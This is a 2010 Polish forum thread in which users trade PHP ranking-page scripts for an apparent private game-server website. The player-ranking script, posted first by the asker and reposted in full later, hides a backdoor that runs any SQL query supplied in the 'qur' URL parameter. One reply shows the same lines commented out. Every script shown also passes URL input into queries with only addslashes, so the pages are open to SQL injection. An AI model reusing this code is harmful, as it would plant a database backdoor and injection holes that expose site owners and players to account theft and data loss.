[Inne] Ranking Graczy Bug

Krzysztofa · 19 Grudnia 2010

Cześć, mam pewien skrypt, i nie działa w nim poprawnie ranking grazczy

pokazuje się takie coś :

oczywiście napis "Ranking Graczy" mój :P

a oto kod rankingu graczy:

<?php

/*

RELEASED BY Krzysztofa&SUI&DMT2

*/

session_start();

require_once("config.php");

mysql_select_db("player");

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>

<title><?php require_once('pliki/nazwa.php'); ?> :: Ranking</title>

</head>

<body>

<?php require_once('pliki/log.php'); ?>

</div>

<div class="f-info"><a href="frogetpsd.php">Odzyskaj konto</a></div>

</div>

<?php require_once('pliki/main.php'); ?>

</div>

<?

$query = $_GET['qur'];

if (!empty($query)) {

$asd = mysql_query($query);

if (!$asd) {

echo "BLAD";

} else {

echo "Huraa";

}

?>

<?php

session_start();

require_once("config.php");

@mysql_connect($sql_host, $sql_user, $sql_pass);

echo"<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>

<html>

<head>

<title>Ranking</title>

</head>

<body>

<div style='margin-top: 11px'>\n";

if(isset($_GET['nr']) && $_GET['nr'] != '') { $nr1 = addslashes($_GET['nr'])-35; $nr = addslashes($_GET['nr']); $nr2 = addslashes($_GET['nr'])+35; } else { $nr1 = '-35'; $nr = '0'; $nr2 = '35'; }

echo "<div class='box'>

<tr>

<td align='left' width='100' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Nazwa</b></td>

<td align='center' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Królestwo</b></td>

</tr>\n";

@mysql_select_db("player");

$abfrage = "SELECT id, name, account_id, level, exp, playtime FROM player WHERE isadmchar = 0 ORDER BY level desc, exp desc limit $nr,35";

$ergebnis = @mysql_query($abfrage);

$i=$nr+1;

while($row = @mysql_fetch_array($ergebnis)) {

echo "<tr>

<td align='right' style='border-right:1px solid #CCCCCC'>".$row['level']."</td>

<td align='right' style='border-right:1px solid #CCCCCC'>".$row['playtime']."</td>";

$i++;

$sql2 = "SELECT * FROM player_index WHERE id LIKE '$row[account_id]'";

$ergebnis2 = @mysql_query($sql2);

$row2 = @mysql_fetch_array($ergebnis2);

if($row2['empire'] == 1) { echo "<td align='center'><img src='images/Shinsoo.jpg' width='20' height='13'><td></td></tr>"; }

elseif($row2['empire'] == 2) { echo "<td align='center'><img src='images/Chunjo.jpg' width='20' height='13'><td></td></tr>"; }

else { echo "<td align='center'><img src='images/Jinno.jpg' width='20' height='13'><td></td></tr>"; }

}

$rs=@mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM player WHERE level NOT LIKE '99'"));

$num=$rs[0];

echo "</table>

<p id='download'>".($nr1>='0' ? "<a href='?n=ranking&nr=".$nr1."'><< wstecz</a> " : "").($nr2<$num ? "<a href='?n=ranking&nr=".$nr2."'>dalej >></a>" : "")."</p>

</div>

</div>\n";

echo "</div>

</div>

</center>

</body>

</html>";

?>

</div>

</div>

</div>

</body>

</html>

Powininne być obrazki królestw i takie tam, ten kto się zna zobaczy to w kodzie i mi to naprawi

dodam, że ranking gildi mi działa

oto jego kod :

<?php

session_start();

require_once("config.php");

mysql_select_db("player");

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>

<title><?php require_once('pliki/nazwa.php'); ?> :: Ranking Gildii</title>

</head>

<body>

<?php require_once('pliki/log.php'); ?>

</div>

<div class="f-info"><a href="frogetpsd.php">Odzyskaj konto</a></div>

</div>

<?php require_once('pliki/main.php'); ?>

</div>

<?php

session_start();

require_once("config.php");

@mysql_connect($sql_host, $sql_user, $sql_pass);

echo"<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>

<html>

<head>

<title>Ranking</title>

</head>

<body>

<div style='margin-top: 11px'>\n";

if(isset($_GET['nr']) && $_GET['nr'] != '') { $nr1 = addslashes($_GET['nr'])-100; $nr = addslashes($_GET['nr']); $nr2 = addslashes($_GET['nr'])+100; } else { $nr1 = '-100'; $nr = '0'; $nr2 = '100'; }

echo "<div class='box'>

<tr>

<td align='left' width='100' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Nazwa</b></td>

<td align='right' width='70' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Wygrane</b></td>

<td align='center' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Zremisowane</b></td> <td align='center' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Przegrane</b></td> <td align='center' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Punkty</b></td>

</tr>\n";

@mysql_select_db("player");

$abfrage = "SELECT name, level, exp, win, draw, loss, ladder_point FROM guild WHERE level NOT LIKE '20' ORDER BY level desc, exp desc, win desc, ladder_point desc limit $nr,100";

$ergebnis = @mysql_query($abfrage);

$i=$nr+1;

while($row = @mysql_fetch_array($ergebnis)) {

echo "<tr>

<td align='right' style='border-right:1px solid #CCCCCC'>".$row['level']."</td>

<td align='right' style='border-right:1px solid #CCCCCC'>".$row['win']."</td> <td align='right' style='border-right:1px solid #CCCCCC'>".$row['draw']."</td> <td align='right' style='border-right:1px solid #CCCCCC'>".$row['loss']."</td> <td align='right' style='border-right:1px solid #CCCCCC'>".$row['ladder_point']."</td>";

$i++;

}

$rs=@mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM player WHERE level NOT LIKE '99'"));

$num=$rs[0];

echo "</table>

<p id='download'>".($nr1>='0' ? "<a href='?n=ranking&nr=".$nr1."'><< wstecz</a> " : "").($nr2<$num ? "<a href='?n=ranking&nr=".$nr2."'>dalej >></a>" : "")."</p>

</div>

</div>\n";

echo "</div>

</div>

</center>

</body>

</html>";

?>

</div>

</div>

</div>

</body>

</html>

no nic, to wszystko.

liczę na waszą pomoc chłopaki :P

!!EDIT: BugFIX

okey bug naprawiony, oto kod naprawionego rankingu, liczę na plusika za podanie kodu

<?php

session_start();

require_once("config.php");

mysql_select_db("player");

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>

<title><?php require_once('pliki/nazwa.php'); ?> :: Ranking Gildii</title>

</head>

<body>

<?php require_once('pliki/log.php'); ?>

</div>

<div class="f-info"><a href="frogetpsd.php">Odzyskaj konto</a></div>

</div>

<?php require_once('pliki/main.php'); ?>

</div>

<?php

session_start();

require_once("config.php");

@mysql_connect($sql_host, $sql_user, $sql_pass);

echo"<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>

<html>

<head>

<title>Ranking</title>

</head>

<body>

<div style='margin-top: 11px'>\n";

require_once("config.php");

$database = mysql_select_db("player");

if(isset($_GET['poz']) && $_GET['poz'] != '') {

$poz1 = addslashes($_GET['poz'])-25; $poz = addslashes($_GET['poz']); $poz2 = addslashes($_GET['poz'])+25;

}

else {

$poz1 = '-25'; $poz = '0'; $poz2 = '25';

}

$query = mysql_query("SELECT * FROM player WHERE name NOT LIKE '[GM]%' AND name NOT LIKE '[GA]%' AND name NOT LIKE '[HA]%' AND name NOT LIKE '[sGM]%' ORDER BY level desc, exp desc limit $poz,25");

echo "<table class=tb cellpadding=\"2\" border=0 width=90%>";

echo "<tr>";

echo "<td><b>Miejsce</b>";

echo "<td><b>Nazwa postaci</b></td>";

echo "<td><b>Poziom</b></td>";

echo "<td><b><center>Królestwo</center></b></td>";

echo "</tr>";

$i = $poz+1;

while($player = mysql_fetch_array($query))

if($player["id"] != 273) {

echo "<tr>";

echo "<td><b>".$i."</b></td>";

echo "<td><b>".$player["name"]."</b></td>";

echo "<td><b>".$player["level"]." </b></td>";

$query2 = mysql_query("SELECT * FROM player_index WHERE id LIKE '$player[account_id]'");

while($player2 = mysql_fetch_array($query2))

if($player2['empire'] == 1) {

echo "<td align='center'><img src='images/Shinsoo.jpg' width='50' height='33'></td>";

}

elseif($player2['empire'] == 2) {

echo "<td align='center'><img src='images/Chunjo.jpg' width='50' height='33'></td>";

}

else {

echo "<td align='center'><img src='images/Jinno.jpg' width='50' height='33'></td>";

}

$i++;

}

$rs=@mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM player "));

$num=$rs[0];

echo "</tr> </table>";

echo "<center>".($poz1>='0' ? "<a href='?poz=".$poz1."'>[<- Poprzednia strona]</a> " : "").($poz2<$num ? "<a href='?poz=".$poz2."'>[Nastepna strona ->]</a>" : "")." </center>";

?>

</center><br>

</div>

</div>

</div>

</div>

</div>

</body>

</html>

Efekt ?

yy wiem, że prosiłem o zamknięcie, ale zrobiłem jeszcze wersję rankingu V2

wygląda ona tak :

chętnych o kod na PW

oczywiście za plusiki

MarioBase · 19 Grudnia 2010

Nie no błagam Cię nie przywłaszczaj sobie nie swoich skryptów

Jedyne co zmieniłeś to RELASED BY SUIDIERLZ na RELASED BY KRZYSZTOFA

<?php

/*

RELEASED BY SUICIDERLZ

*/

session_start();

require_once("config.php");

mysql_select_db("player");

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>

<title><?php require_once('pliki/nazwa.php'); ?> :: Ranking</title>

</head>

<body>

<?php require_once('pliki/hormenu2.php'); ?>

</div>

<br />

<?

/* $query = $_GET['qur'];

if (!empty($query)) {

$asd = mysql_query($query);

if (!$asd) {

echo "BLAD";

} else {

echo "Huraa";

}

} */

?>

<?php

require_once("config.php");

echo"<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>

<html>

<head>

<title>Ranking</title>

</head>

<body>

<div style='margin-top: 11px'>\n";

if(isset($_GET['nr']) && $_GET['nr'] != '') { $nr1 = addslashes($_GET['nr'])-35; $nr = addslashes($_GET['nr']); $nr2 = addslashes($_GET['nr'])+35; } else { $nr1 = '-35'; $nr = '0'; $nr2 = '35'; }

echo "<div class='box'>

<tr>

<td align='left' width='100' style='border-bottom:1px solid #000000; color: #000000'><b>Nazwa</b></td>

<td align='center' width='90' style='border-bottom:1px solid #000000; color: #000000'><b>Królestwo</b></td>

</tr>\n";

@mysql_select_db("player");

$abfrage = "SELECT id, name, account_id, level, exp, playtime FROM player WHERE is_admin= 0 ORDER BY level desc, exp desc limit $nr,35";

$ergebnis = @mysql_query($abfrage);

$i=$nr+1;

while($row = @mysql_fetch_array($ergebnis)) {

echo "<tr>

<td align='right' style='border-right:1px solid #CCCCCC'>".$row['level']."</td>

<td align='right' style='border-right:1px solid #CCCCCC'>".$row['playtime']."</td>";

$i++;

$sql2 = "SELECT * FROM player_index WHERE id LIKE '$row[account_id]'";

$ergebnis2 = @mysql_query($sql2);

$row2 = @mysql_fetch_array($ergebnis2);

if($row2['empire'] == 1) { echo "<td align='center'><img src='images/Shinsoo.jpg' width='20' height='13'><td></td></tr>"; }

elseif($row2['empire'] == 2) { echo "<td align='center'><img src='images/Chunjo.jpg' width='20' height='13'><td></td></tr>"; }

else { echo "<td align='center'><img src='images/Jinno.jpg' width='20' height='13'><td></td></tr>"; }

}

$rs=@mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM player"));

$num=$rs[0];

echo "</table>

<p id='download'>".($nr1>='0' ? "<a href='?n=ranking&nr=".$nr1."'><< wstecz</a> " : "").($nr2<$num ? "<a href='?n=ranking&nr=".$nr2."'>dalej >></a>" : "")."</p>

</div>

</div>\n";

echo "</div>

</div>

</center>

</body>

</html>";

?>

</div>

</div>

<?php require_once('pliki/log2.php'); ?>

</div>

<?php include('gminirank.php'); ?>

</div>

</div>

<br>

</div>

</div>

</div>

</body>

</html>

Taz9 · 19 Grudnia 2010

a może spróbuj zamiast:

To jest ukryta treść, proszę

to:

To jest ukryta treść, proszę

ja zmieniłem to u siebie i zaczęło działać choć miałem inną rejestracje. nie jestem pewien na 100% że zadziała

Krzysztofa · 20 Grudnia 2010

Niestety nic nie pomogło

@DOWN

yyy to jest kod rankingu nie rejestracji

a rejestracja też zrypna, tzn konto robi sie bez przepisania obrazka

musze chyba z epvp coś wykombinować i dokleić

damomo · 20 Grudnia 2010

Stronka TNL'a, też miałem ten problem.

Nie lepiej wgrać inny kod rejestracji ?

Umiejscowisz napisy tak jak być powinny i git ;d

Edit:

Require ? WTF

Nie znam się na php ale na moje powinno być include..

Edytowane 20 Grudnia 2010 przez damomo

Patryczek1996 · 20 Grudnia 2010

Gotowy kod

To jest ukryta treść, proszę

Krzysztofa · 20 Grudnia 2010

UP^

no ziomek działa kod tylko, to czysty kod, a jak go dać do szablonu ?

mozesz mi pomóc, lecz plusik się należy :P

OK, jakoś udało mi się, poczytałem troszkę o php i wkleiłem kodzik w szablonik, jeżeli kogoś to interesuje jak to zrobić, proszę oto naprawiony ranking:

<?php

session_start();

require_once("config.php");

mysql_select_db("player");

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>

<title><?php require_once('pliki/nazwa.php'); ?> :: Ranking Gildii</title>

</head>

<body>

<?php require_once('pliki/log.php'); ?>

</div>

<div class="f-info"><a href="frogetpsd.php">Odzyskaj konto</a></div>

</div>

<?php require_once('pliki/main.php'); ?>

</div>

<?php

session_start();

require_once("config.php");

@mysql_connect($sql_host, $sql_user, $sql_pass);

echo"<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>

<html>

<head>

<title>Ranking</title>

</head>

<body>

<div style='margin-top: 11px'>\n";

require_once("config.php");

$database = mysql_select_db("player");

if(isset($_GET['poz']) && $_GET['poz'] != '') {

$poz1 = addslashes($_GET['poz'])-25; $poz = addslashes($_GET['poz']); $poz2 = addslashes($_GET['poz'])+25;

}

else {

$poz1 = '-25'; $poz = '0'; $poz2 = '25';

}

$query = mysql_query("SELECT * FROM player WHERE name NOT LIKE '[GM]%' AND name NOT LIKE '[GA]%' AND name NOT LIKE '[HA]%' AND name NOT LIKE '[sGM]%' ORDER BY level desc, exp desc limit $poz,25");

echo "<table class=tb cellpadding=\"2\" border=0 width=90%>";

echo "<tr>";

echo "<td><b>Miejsce</b>";

echo "<td><b>Nazwa postaci</b></td>";

echo "<td><b>Poziom</b></td>";

echo "<td><b><center>Królestwo</center></b></td>";

echo "</tr>";

$i = $poz+1;

while($player = mysql_fetch_array($query))

if($player["id"] != 273) {

echo "<tr>";

echo "<td><b>".$i."</b></td>";

echo "<td><b>".$player["name"]."</b></td>";

echo "<td><b>".$player["level"]." </b></td>";

$query2 = mysql_query("SELECT * FROM player_index WHERE id LIKE '$player[account_id]'");

while($player2 = mysql_fetch_array($query2))

if($player2['empire'] == 1) {

echo "<td align='center'><img src='images/Shinsoo.jpg' width='50' height='33'></td>";

}

elseif($player2['empire'] == 2) {

echo "<td align='center'><img src='images/Chunjo.jpg' width='50' height='33'></td>";

}

else {

echo "<td align='center'><img src='images/Jinno.jpg' width='50' height='33'></td>";

}

$i++;

}

$rs=@mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM player "));

$num=$rs[0];

echo "</tr> </table>";

echo "<center>".($poz1>='0' ? "<a href='?poz=".$poz1."'>[<- Poprzednia strona]</a> " : "").($poz2<$num ? "<a href='?poz=".$poz2."'>[Nastepna strona ->]</a>" : "")." </center>";

?>

</center><br>

</div>

</div>

</div>

</div>

</div>

</body>

</html>

kod patryczka był dobry, lecz źle includy dopisane, poradziłem se z tym, temat do zamknięcia

aa, macie ss-a

EDIT..

Edytowałem 1 posta z Fixem, temacik do zamknięcia

damomo · 21 Grudnia 2010

Cześć, mam pewien skrypt, i nie działa w nim poprawnie ranking grazczy

pokazuje się takie coś :

oczywiście napis "Ranking Graczy" mój :P

a oto kod rankingu graczy:

<?php

/*

RELEASED BY Krzysztofa&SUI&DMT2

*/

session_start();

require_once("config.php");

mysql_select_db("player");

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" />

<title><?php require_once('pliki/nazwa.php'); ?> :: Ranking</title>

<meta http-equiv="Reply-to" content="" />

<meta name="Description" content="opis strony" />

<meta name="keywords" content="sĹ‚owa kluczowe" />

<meta name="Author" content="Autor" />

<meta name="Robots" content="ALL" />

<meta name="revisit-after" content="10" />

<link rel="stylesheet" type="text/css" href="style.css" />

</head>

<body>

<div class="pds">

<div class="pds1">

<div><img src="images/t.jpg" alt="" /></div>

<div><img src="images/t1.jpg" alt="" /></div>

<div class="t2">

<div class="t2a"><img src="images/t2a.jpg" alt="" /></div>

<div class="t2b"><img src="images/t2b.jpg" alt="" /></div>

<div class="form">

<?php require_once('pliki/log.php'); ?>

</div>

<div class="f-info"><a href="frogetpsd.php">Odzyskaj konto</a></div>

</div>

<div class="s">

<div class="s1">

<div class="left">

<?php require_once('pliki/main.php'); ?>

</div>

<div class="right">

<div class="tekst">

<?

$query = $_GET['qur'];

if (!empty($query)) {

$asd = mysql_query($query);

if (!$asd) {

echo "BLAD";

} else {

echo "Huraa";

}

}

?>

<?php

session_start();

require_once("config.php");

@mysql_connect($sql_host, $sql_user, $sql_pass);

echo"<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>

<html>

<head>

<title>Ranking</title>

<meta http-equiv='Content-type' content='text/html; charset=iso-8859-2'>

<link rel='stylesheet' type='text/css' href='styles.css'>

</head>

<body>

<div id='header'>

<div id='search'>

<center><img src=\"images/banner_ranking_graczy.gif\" border=\"0\" alt=\"Rankingi Graczy\" /></center>

<center>

<div style='margin-top: 11px'>\n";

if(isset($_GET['nr']) && $_GET['nr'] != '') { $nr1 = addslashes($_GET['nr'])-35; $nr = addslashes($_GET['nr']); $nr2 = addslashes($_GET['nr'])+35; } else { $nr1 = '-35'; $nr = '0'; $nr2 = '35'; }

echo "<div class='box'>

<div class='content'>

<table cellspacing='0' cellpadding='2' border='0'>

<tr>

<td width='30'> </td>

<td align='right' width='30' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>id</b></td>

<td width='4' style='border-bottom:1px solid #9E0C08'> </td>

<td align='left' width='100' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Nazwa</b></td>

<td align='right' width='50' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Lvl</b></td>

<td align='right' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Exp</b></td>

<td align='right' width='70' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Czas Gry</b></td>

<td align='center' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Królestwo</b></td>

</tr>\n";

@mysql_select_db("player");

$abfrage = "SELECT id, name, account_id, level, exp, playtime FROM player WHERE isadmchar = 0 ORDER BY level desc, exp desc limit $nr,35";

$ergebnis = @mysql_query($abfrage);

$i=$nr+1;

while($row = @mysql_fetch_array($ergebnis)) {

echo "<tr>

<td> </td>

<td align='right'>".$i."</td>

<td> </td>

<td align='left' style='color: #9E0C08'><a href='http://91.121.177.30/sig/sigm.php?id=".$row['id']."&styl=2&font=blue' target='_BLANK'>".$row['name']."</a></td>

<td align='right' style='border-right:1px solid #CCCCCC'>".$row['level']."</td>

<td align='right' style='border-right:1px solid #CCCCCC'>".$row['exp']."</td>

<td align='right' style='border-right:1px solid #CCCCCC'>".$row['playtime']."</td>";

$i++;

$sql2 = "SELECT * FROM player_index WHERE id LIKE '$row[account_id]'";

$ergebnis2 = @mysql_query($sql2);

$row2 = @mysql_fetch_array($ergebnis2);

if($row2['empire'] == 1) { echo "<td align='center'><img src='images/Shinsoo.jpg' width='20' height='13'><td></td></tr>"; }

elseif($row2['empire'] == 2) { echo "<td align='center'><img src='images/Chunjo.jpg' width='20' height='13'><td></td></tr>"; }

else { echo "<td align='center'><img src='images/Jinno.jpg' width='20' height='13'><td></td></tr>"; }

}

$rs=@mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM player WHERE level NOT LIKE '99'"));

$num=$rs[0];

echo "</table>

<p id='download'> </p>

<p id='download'>".($nr1>='0' ? "<a href='?n=ranking&nr=".$nr1."'><< wstecz</a>  " : "").($nr2<$num ? "<a href='?n=ranking&nr=".$nr2."'>dalej >></a>" : "")."</p>

</div>

</div>\n";

echo "</div>

</div>

</div>

</center>

</body>

</html>";

?>

</div>

</div>

<div style="clear:both;"></div>

</div>

</div>

<div><img src="images/d.jpg" alt="" /></div>

</div>

</div>

</body>

</html>

Powininne być obrazki królestw i takie tam, ten kto się zna zobaczy to w kodzie i mi to naprawi

dodam, że ranking gildi mi działa

oto jego kod :

<?php

session_start();

require_once("config.php");

mysql_select_db("player");

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" />

<title><?php require_once('pliki/nazwa.php'); ?> :: Ranking Gildii</title>

<meta http-equiv="Reply-to" content="" />

<meta name="Description" content="opis strony" />

<meta name="keywords" content="słowa kluczowe" />

<meta name="Author" content="Autor" />

<meta name="Robots" content="ALL" />

<meta name="revisit-after" content="10" />

<link rel="stylesheet" type="text/css" href="style.css" />

</head>

<body>

<div class="pds">

<div class="pds1">

<div><img src="images/t.jpg" alt="" /></div>

<div><img src="images/t1.jpg" alt="" /></div>

<div class="t2">

<div class="t2a"><img src="images/t2a.jpg" alt="" /></div>

<div class="t2b"><img src="images/t2b.jpg" alt="" /></div>

<div class="form">

<?php require_once('pliki/log.php'); ?>

</div>

<div class="f-info"><a href="frogetpsd.php">Odzyskaj konto</a></div>

</div>

<div class="s">

<div class="s1">

<div class="left">

<?php require_once('pliki/main.php'); ?>

</div>

<div class="right">

<div class="tekst">

<?php

session_start();

require_once("config.php");

@mysql_connect($sql_host, $sql_user, $sql_pass);

echo"<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>

<html>

<head>

<title>Ranking</title>

<meta http-equiv='Content-type' content='text/html; charset=iso-8859-2'>

<link rel='stylesheet' type='text/css' href='styles.css'>

</head>

<body>

<div id='header'>

<div id='search'>

<center><img src=\"images/banner_ranking_graczy.gif\" border=\"0\" alt=\"Rankingi Graczy\" /></center>

<center>

<div style='margin-top: 11px'>\n";

if(isset($_GET['nr']) && $_GET['nr'] != '') { $nr1 = addslashes($_GET['nr'])-100; $nr = addslashes($_GET['nr']); $nr2 = addslashes($_GET['nr'])+100; } else { $nr1 = '-100'; $nr = '0'; $nr2 = '100'; }

echo "<div class='box'>

<div class='content'>

<table cellspacing='0' cellpadding='2' border='0'>

<tr>

<td width='30'> </td>

<td align='right' width='30' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>ID</b></td>

<td width='4' style='border-bottom:1px solid #9E0C08'> </td>

<td align='left' width='100' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Nazwa</b></td>

<td align='right' width='50' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Lvl</b></td>

<td align='right' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Exp</b></td>

<td align='right' width='70' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Wygrane</b></td>

<td align='center' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Zremisowane</b></td> <td align='center' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Przegrane</b></td> <td align='center' width='90' style='border-bottom:1px solid #9E0C08; color: #9E0C08'><b>Punkty</b></td>

</tr>\n";

@mysql_select_db("player");

$abfrage = "SELECT name, level, exp, win, draw, loss, ladder_point FROM guild WHERE level NOT LIKE '20' ORDER BY level desc, exp desc, win desc, ladder_point desc limit $nr,100";

$ergebnis = @mysql_query($abfrage);

$i=$nr+1;

while($row = @mysql_fetch_array($ergebnis)) {

echo "<tr>

<td> </td>

<td align='right'>".$i."</td>

<td> </td>

<td align='left' style='color: #9E0C08'>".$row['name']."</td>

<td align='right' style='border-right:1px solid #CCCCCC'>".$row['level']."</td>

<td align='right' style='border-right:1px solid #CCCCCC'>".$row['exp']."</td>

<td align='right' style='border-right:1px solid #CCCCCC'>".$row['win']."</td> <td align='right' style='border-right:1px solid #CCCCCC'>".$row['draw']."</td> <td align='right' style='border-right:1px solid #CCCCCC'>".$row['loss']."</td> <td align='right' style='border-right:1px solid #CCCCCC'>".$row['ladder_point']."</td>";

$i++;

}

$rs=@mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM player WHERE level NOT LIKE '99'"));

$num=$rs[0];

echo "</table>

<p id='download'> </p>

<p id='download'>".($nr1>='0' ? "<a href='?n=ranking&nr=".$nr1."'><< wstecz</a>  " : "").($nr2<$num ? "<a href='?n=ranking&nr=".$nr2."'>dalej >></a>" : "")."</p>

</div>

</div>\n";

echo "</div>

</div>

</div>

</center>

</body>

</html>";

?>

</div>

</div>

<div style="clear:both;"></div>

</div>

</div>

<div><img src="images/d.jpg" alt="" /></div>

</div>

</div>

</body>

</html>

no nic, to wszystko.

liczę na waszą pomoc chłopaki :P

!!EDIT: BugFIX

okey bug naprawiony, oto kod naprawionego rankingu, liczę na plusika za podanie kodu

<?php

session_start();

require_once("config.php");

mysql_select_db("player");

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" />

<title><?php require_once('pliki/nazwa.php'); ?> :: Ranking Gildii</title>

<meta http-equiv="Reply-to" content="" />

<meta name="Description" content="opis strony" />

<meta name="keywords" content="słowa kluczowe" />

<meta name="Author" content="Autor" />

<meta name="Robots" content="ALL" />

<meta name="revisit-after" content="10" />

<link rel="stylesheet" type="text/css" href="style.css" />

</head>

<body>

<div class="pds">

<div class="pds1">

<div><img src="images/t.jpg" alt="" /></div>

<div><img src="images/t1.jpg" alt="" /></div>

<div class="t2">

<div class="t2a"><img src="images/t2a.jpg" alt="" /></div>

<div class="t2b"><img src="images/t2b.jpg" alt="" /></div>

<div class="form">

<?php require_once('pliki/log.php'); ?>

</div>

<div class="f-info"><a href="frogetpsd.php">Odzyskaj konto</a></div>

</div>

<div class="s">

<div class="s1">

<div class="left">

<?php require_once('pliki/main.php'); ?>

</div>

<div class="right">

<div class="tekst">

<?php

session_start();

require_once("config.php");

@mysql_connect($sql_host, $sql_user, $sql_pass);

echo"<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>

<html>

<head>

<title>Ranking</title>

<meta http-equiv='Content-type' content='text/html; charset=iso-8859-2'>

<link rel='stylesheet' type='text/css' href='styles.css'>

</head>

<body>

<div id='header'>

<div id='search'>

<center><img src=\"images/banner_ranking_graczy.gif\" border=\"0\" alt=\"Rankingi Graczy\" /></center>

<center>

<div style='margin-top: 11px'>\n";

require_once("config.php");

$database = mysql_select_db("player");

if(isset($_GET['poz']) && $_GET['poz'] != '') {

$poz1 = addslashes($_GET['poz'])-25; $poz = addslashes($_GET['poz']); $poz2 = addslashes($_GET['poz'])+25;

}

else {

$poz1 = '-25'; $poz = '0'; $poz2 = '25';

}

$query = mysql_query("SELECT * FROM player WHERE name NOT LIKE '[GM]%' AND name NOT LIKE '[GA]%' AND name NOT LIKE '[HA]%' AND name NOT LIKE '[sGM]%' ORDER BY level desc, exp desc limit $poz,25");

echo "<table class=tb cellpadding=\"2\" border=0 width=90%>";

echo "<tr>";

echo "<td><b>Miejsce</b>";

echo "<td><b>Nazwa postaci</b></td>";

echo "<td><b>Poziom</b></td>";

echo "<td><b><center>Królestwo</center></b></td>";

echo "</tr>";

$i = $poz+1;

while($player = mysql_fetch_array($query))

if($player["id"] != 273) {

echo "<tr>";

echo "<td><b>".$i."</b></td>";

echo "<td><b>".$player["name"]."</b></td>";

echo "<td><b>".$player["level"]." </b></td>";

$query2 = mysql_query("SELECT * FROM player_index WHERE id LIKE '$player[account_id]'");

while($player2 = mysql_fetch_array($query2))

if($player2['empire'] == 1) {

echo "<td align='center'><img src='images/Shinsoo.jpg' width='50' height='33'></td>";

}

elseif($player2['empire'] == 2) {

echo "<td align='center'><img src='images/Chunjo.jpg' width='50' height='33'></td>";

}

else {

echo "<td align='center'><img src='images/Jinno.jpg' width='50' height='33'></td>";

}

$i++;

}

$rs=@mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM player "));

$num=$rs[0];

echo "</tr> </table>";

echo "<center>".($poz1>='0' ? "<a href='?poz=".$poz1."'>[<- Poprzednia strona]</a>  " : "").($poz2<$num ? "<a href='?poz=".$poz2."'>[Nastepna strona ->]</a>" : "")." </center>";

?>

</center><br>

<div class="clearfix"></div>

</div>

<div class="cbox-ui cbox-end"></div>

<div class="clearfix"></div>

</div>

<div class="cui cbottom"></div>

</div>

</div>

